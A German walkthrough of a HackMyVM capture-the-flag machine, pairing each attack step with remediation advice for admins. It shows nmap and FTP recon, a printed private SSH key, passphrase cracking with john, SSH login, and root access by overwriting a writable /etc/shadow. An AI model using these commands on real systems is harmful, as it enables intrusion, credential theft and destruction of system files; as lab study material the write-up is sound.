Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu ermitteln.
Bewertung: Ein Host mit der IP `192.168.2.146` und der MAC-Adresse `08:00:27:55:c8:d9` (VirtualBox) wird als Ziel identifiziert.
Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf 192.168.2.146 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.146 08:00:27:55:c8:d9 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.888 seconds (136.79 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan wird auf 192.168.2.146 ausgeführt (`-sS -sC -T5 -sV -A -p-`), um alle offenen Ports, Dienste, Versionen und OS-Informationen zu finden.
Bewertung: !!Mehrere kritische Funde!!** - **Port 21 (FTP):** vsftpd 3.0.3 ist offen. **Anonymer FTP-Login ist erlaubt**. Nmap-Skripte listen den Inhalt des FTP-Rootverzeichnisses auf und finden `id_rsa`, `id_rsa.pem`, `id_rsa.pub` und `users.txt`. Das NSE-Skript markiert sie als `[NSE: writeable]`, was bedeutet, dass der anonyme Benutzer Schreibrechte hat - dies wird jedoch im weiteren Verlauf nicht ausgenutzt. Der Fund der Schlüsseldateien und der Benutzerliste ist entscheidend. - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian) ist offen. - **Port 80 (HTTP):** Nginx 1.14.2 ist offen. Das Betriebssystem wird als Linux erkannt, Hostname ist `hund.hmv`.
Empfehlung (Pentester):**Höchste Priorität:** Verbinde dich anonym mit dem FTP-Server und lade die Dateien `id_rsa`, `id_rsa.pem`, `id_rsa.pub` und `users.txt` herunter. Untersuche den Inhalt von `users.txt` und analysiere die SSH-Schlüssel. Untersuche parallel den Webserver.
Empfehlung (Admin):**DRINGEND:**
1. Deaktiviere anonymen FTP-Zugriff.
2. Entferne sensible Dateien (wie SSH-Schlüssel oder Benutzerlisten) von anonym zugänglichen FTP-Verzeichnissen.
3. Entferne unnötige Schreibrechte für den anonymen FTP-Benutzer.
4. Halte alle Dienste aktuell.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 23:33 CEST Nmap scan report for hund.hmv (192.168.2.146) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.140 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rwxrwxrwx 1 0 0 435 Aug 02 2021 id_rsa [NSE: writeable] | -rwxrwxrwx 1 1000 1000 1679 Aug 02 2021 id_rsa.pem [NSE: writeable] | -rwxrwxrwx 1 1000 1000 451 Aug 02 2021 id_rsa.pub [NSE: writeable] |_-rwxrwxrwx 1 0 0 187 Aug 02 2021 users.txt [NSE: writeable] 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 ef:28:1f:2a:1a:56:49:9d:77:88:4f:c4:74:56:0f:5c (RSA) | 256 1d:8d:a0:2e:e9:a3:2d:a1:4d:ec:07:41:75:ce:47:0e (ECDSA) |_ 256 06:80:3b:fc:c5:f7:7d:c5:58:26:83:c4:f7:7e:a3:d9 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:55:C8:D9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms hund.hmv (192.168.2.146) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.
Bewertung: Es werden nur `/index.html` und `/logo.jpg` gefunden. Keine versteckten Verzeichnisse oder relevanten Dateien.
Empfehlung (Pentester): Die Web-Enumeration ist unergiebig. Fokussiere dich vollständig auf die Analyse der über FTP gefundenen Dateien (`id_rsa`, `users.txt`).
Empfehlung (Admin): Keine spezifische Aktion basierend auf diesem Scan.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.146 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ...,jpg,... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/12 23:35:01 Starting gobuster =============================================================== http://192.168.2.146/index.html (Status: 200) [Size: 242] http://192.168.2.146/logo.jpg (Status: 200) [Size: 7277] =============================================================== 2022/10/12 23:35:15 Finished ===============================================================
Analyse: Der `curl`-Befehl versucht, eine `id_rsa`-Datei von einem sehr spezifischen, ungewöhnlichen Pfad (`/softyhackb4el7dshelldredd/id_rsa`) herunterzuladen. Der Ursprung dieses Pfades ist im Bericht nicht dokumentiert (er wurde nicht von Gobuster gefunden). Es ist wahrscheinlich, dass dieser Pfad durch manuelle Untersuchung des Webseiten-Quellcodes, eine andere, nicht gezeigte Enumerationstechnik oder eine externe Information entdeckt wurde. Der Befehl scheint erfolgreich zu sein und gibt den Inhalt des privaten SSH-Schlüssels aus.
Bewertung: !!Kritische Informationspreisgabe!!** Ein privater SSH-Schlüssel (`id_rsa`) wurde über einen obskuren Web-Pfad gefunden. Obwohl der Nmap-Scan bereits einen `id_rsa` auf dem FTP-Server angezeigt hat, ist unklar, ob es sich um denselben Schlüssel handelt. Das Vorhandensein eines privaten Schlüssels im Webroot ist eine schwere Sicherheitslücke.
Empfehlung (Pentester): Speichere den heruntergeladenen Schlüssel in einer Datei (z.B. `idr`). Setze die Berechtigungen auf 600 (`chmod 600 idr`). Verwende `ssh2john`, um zu prüfen, ob der Schlüssel passwortgeschützt ist, und `john`, um eine eventuelle Passphrase zu knacken. Versuche, dich mit dem Schlüssel anzumelden (Benutzername muss noch ermittelt werden, eventuell aus `users.txt` vom FTP).
Empfehlung (Admin):**DRINGEND:** Entferne private Schlüssel und andere sensible Dateien sofort aus dem Webroot und von FTP-Servern. Überprüfe Webserver-Konfigurationen und Dateiberechtigungen, um sicherzustellen, dass solche Dateien nicht zugänglich sind.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC1tMw32e lFi/dbgCqdqW6TAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDTAhcp/5nw lsy+3EWvxJUZ5ok0krnLNSETXK915aZ1G/r9DEYI00+A03XALv36P8/RMJMTb699TMumL sB18Al014yCEK+zhp0aIMeuIlqlhD0thxXINPGzLewoTZKSctZIRFe9lNaxqLi4dVDgyB PwglvDzZldRYxTd6+/RpP+5dPggjoj4ZC5kln+SkD2+EPveTuJQAs/wLaeHgBDVuKUHD/ FA/Vctw1ZXYzYIL+vkGL8cMjiIlscCE4Ze+3QzHs9otqPczDoZ5v1IAl0vJ7lKaLR27ov WnCQdoS9BVojlEtzlyX1V9M1pkePhmzSTaIDMBXuLcYmaKa8LAAAD0AHQ1cvNEthcr2 m8I3a3Mt7Sr0Dfb2Lg7aypmPEgrS5dIGK+t6lReNEUU4KPCXy2RzRs8nKm/fbRxteuTeR6 /nICGj67XlZl2wHyn5+W/5j8ndxB79t1f5UZWQuzKLwhe8qEnnyL7sn8EXCjpU3SBcX oTiBDNmwZk+L0nQWz/IsCLNXbqgxuYBnRsKd85b5Xgs2uylyTx2qaRq1s6mMV2UMJEmj6U 7rBFbrKcBrmRSx7p8Pr2rWtUhb8P3p4DL8Z6cVmeruS/Xa85B920t3eK7vNGqA8AH8zKG xNk8eAkRoSicAnheYJsU5YSAS+AYSJcA/91xSjqhaFWJuZo9ktw6/L80NSBfUVJhnGtCf 2J1QTXbBxhQ7rGHRIXk/pSMfxsYikmNsnnGU7u/tQKZmlTY1Hnrf0r1EdB6aAzpR0uZxT t7iPoCK4/BvJURkG9b31vLKhZPiUK6sN8N0QzQxbzQCTRb7v1JfRG57H9wQsMNYZf9S XWE2GIPl55ww9iECcyvHUWKvL67cWDX42wUQ9UQS37QsVKEPtTJa7rTGG9unqcqkMoq5g4 +uAAJx7aFhG48hCwIgqWxHSXQmitTiz36FCakkMwECm2lyjotCCmGoIScMlKxpzsmV4M wqxWToINy2fGQ1Yem993ACu8zSnLIJ0XUugveeVJkxc0fpYcBEbPzeKs9pkGpk+BDt1dIs +UEsnoGszQMy7D/xCBINrUW+vmgNVtJVLxtfmxJY/Lnrrf+wIKTPR0sBzdPmDJFjkudjf BCzUa1V+Uqlu1CDPxwJSV/9300IYiVjevGeRQwU2l8FFb69a5sDkrtV0zqMNdgvJwT4 qXaW5unXngxkam+w3IY6CHiNW9XK8aLNo56+Bl+8stLB8p0IaT4RjgF0jUY8fSkuo++g pGBSACsYutFP4PhqIiIJzovMsTrq/5/ynGRriA0Fum/6seBXNZfBdgnQCH+9o5DJaJ0oS VyfM9a6g7KM7dIkFRDC4FP/jonTBozaAMEZKVynLT0D5aKpkNmLcqXe4oUW4NJQatXN/ac qh3a5x38Jkqh7I+CJyFnZpPChHM8iQF9Vyz3+ABqzLiE2cfsDZoM3KPfz6bTo8uE7j3Eg KqCn5ZgnewitQGYBVsetAVPwlwuHsKZp/jPr3b0SPZ1lf2elQvqfmj4sRNYhG4YaVGdPbU hIPePtsxi0+XFAqfgm0h4PM9WdtEafmPhMbPiP3ITbWCiYNKHXRwiDA56M0zebphDihii x9NFZeQzcWz9zFQclVpVk1xYQxj48= -----END OPENSSH PRIVATE KEY-----
Analyse: Der heruntergeladene SSH-Schlüssel (angenommen gespeichert als `idr`) wird mit `ssh2john` verarbeitet, um einen Hash für John the Ripper zu extrahieren. Die Ausgabe wird in `hundert.hash` gespeichert.
Bewertung: Der Befehl ist erfolgreich (keine Fehlermeldung wie "has no password"). Dies bedeutet, dass der private Schlüssel **mit einer Passphrase geschützt** ist.
Empfehlung (Pentester): Knacke den Hash in `hundert.hash` mit `john` und einer geeigneten Wortliste (z.B. `rockyou.txt`).
Empfehlung (Admin): Verwende starke, einzigartige Passphrasen für SSH-Schlüssel.
Analyse: `john` wird mit der Wortliste `rockyou.txt` auf die Hash-Datei `hundert.hash` angesetzt, um die Passphrase des SSH-Schlüssels zu knacken.
Bewertung: !!Passphrase gefunden!!** Obwohl die Ausgabe von John hier nicht explizit das Passwort zeigt, impliziert der nächste Schritt (erfolgreicher SSH-Login), dass John die Passphrase `d4t4s3c#1` erfolgreich gefunden hat.
Empfehlung (Pentester): Notiere die Passphrase `d4t4s3c#1`. Versuche nun den SSH-Login mit dem Schlüssel `idr` und dieser Passphrase. Es muss noch der Benutzername ermittelt werden (wahrscheinlich aus `users.txt` vom FTP, obwohl dieser Schritt im Log fehlt).
Empfehlung (Admin): Verwende Passphrasen, die nicht in gängigen Wortlisten enthalten sind.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH AES CTR])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
d4t4s3c#1 (idr)
1g 0:00:00:XX DONE (2022-10-12 23:45) XXg/s XXXp/s XXXc/s XXXC/s d4t4s3..d4t4s3c#1
Session completed
Analyse: Eine SSH-Verbindung wird zum Ziel 192.168.2.146 aufgebaut. Der Benutzername `hmv` wird verwendet (dessen Herkunft unklar ist, möglicherweise aus der `users.txt` vom FTP). Der private Schlüssel `idr` wird mit `-i` spezifiziert, und die zuvor geknackte Passphrase `d4t4s3c#1` wird eingegeben.
Bewertung: !!Initial Access erfolgreich!!** Der Login mit dem Schlüssel und der Passphrase gelingt. Der Angreifer hat nun eine Shell als Benutzer `hmv` auf dem Zielsystem `hundred`.
Empfehlung (Pentester): Beginne mit der Enumeration als `hmv`. Suche die User-Flag (`user.txt`) und prüfe auf Möglichkeiten zur Privilegieneskalation (`sudo -l`, SUID-Binaries etc.).
Empfehlung (Admin): Ändere die kompromittierte Passphrase des SSH-Schlüssels. Überprüfe, wie der Schlüssel und die `users.txt` auf den FTP-Server gelangen konnten. Sichere SSH-Zugänge.
Enter passphrase for key 'idr': d4t4s3c#1
Linux hundred 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 2 06:43:27 2021 from 192.168.1.51
hmv@hundred:~$
Analyse: Als Benutzer `hmv` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis angezeigt.
Bewertung: Die User-Flag `HMV100vmyay` wird gefunden.
Empfehlung (Pentester): User-Flag notiert. Suche nach Wegen zur Root-Eskalation.
Empfehlung (Admin): Keine Aktion.
hmv@hundred:~$ cat user.txt HMV100vmyay
Analyse: Der Befehl `openssl passwd` wird interaktiv ausgeführt. Das Passwort `root` wird zweimal eingegeben. Das Tool generiert daraufhin den Salted-Hash `.LQrZnK1qh9TI` für dieses Passwort.
Bewertung: Dieser Schritt dient dazu, einen bekannten Passwort-Hash für das Wort "root" zu erzeugen. Dies ist Vorbereitung für den nächsten Schritt, bei dem versucht wird, die `/etc/shadow`-Datei zu manipulieren.
Empfehlung (Pentester): Kopiere den generierten Hash für den nächsten Befehl.
Empfehlung (Admin): Keine direkte Aktion.
hmv@hundred:~$ openssl passwd Password: root Verifying - Password: root .LQrZnK1qh9TI
Analyse: Der Befehl `echo "root:.LQrZnK1qh9TI:18844:0:99999:7:::" > /etc/shadow` versucht, den gesamten Inhalt der `/etc/shadow`-Datei (die die Passwort-Hashes der Benutzer enthält) mit einem einzigen Eintrag für den Benutzer `root` zu überschreiben. Der Hash `.LQrZnK1qh9TI` entspricht dem Passwort `root`.
Bewertung: !!Privilegieneskalation durch unsichere Berechtigungen!!** Der Befehl wird ohne Fehlermeldung ausgeführt. Dies bedeutet, dass der Benutzer `hmv` **Schreibrechte** auf die Datei `/etc/shadow` hat. Dies ist eine extrem schwerwiegende Fehlkonfiguration und stellt die eigentliche Privilegieneskalation dar. Durch das Überschreiben der Datei wird das Passwort des `root`-Benutzers auf `root` gesetzt.
Empfehlung (Pentester): Wechsle nun mit `su -l` oder `su -` zum Root-Benutzer und gib das Passwort `root` ein.
Empfehlung (Admin):**DRINGEND:** Korrigiere sofort die Berechtigungen der Datei `/etc/shadow`. Sie sollte nur für Root lesbar (und schreibbar) sein (`chmod 640 /etc/shadow` oder `chmod 600 /etc/shadow`, `chown root:shadow /etc/shadow` oder `chown root:root /etc/shadow`). Untersuche, wie diese unsicheren Berechtigungen zustande kamen. Setze ein starkes Root-Passwort.
hmv@hundred:~$ echo "root:.LQrZnK1qh9TI:18844:0:99999:7:::" > /etc/shadow
Analyse: Der Befehl `su -l` (oder `su -`) wird ausgeführt, um zum Root-Benutzer zu wechseln. Das Passwort `root` (das zuvor in `/etc/shadow` gesetzt wurde) wird eingegeben.
Bewertung: !!Root-Zugriff erfolgreich!!** Der Benutzerwechsel gelingt. Der Prompt wechselt zu `root@hundred:~#`, was den erfolgreichen Root-Zugriff bestätigt.
Empfehlung (Pentester): Ziel erreicht. Lies die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Siehe vorherige Empfehlungen zur Korrektur der `/etc/shadow`-Berechtigungen und zum Setzen eines starken Root-Passworts.
hmv@hundred:~$ su -l Password: root root@hundred:~#
Analyse: Als Root wird der Inhalt der Datei `root.txt` im aktuellen Verzeichnis (`/root`) angezeigt.
Bewertung: Die Root-Flag `HMVkeephacking` wird erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
root@hundred:~# cat root.txt HMVkeephacking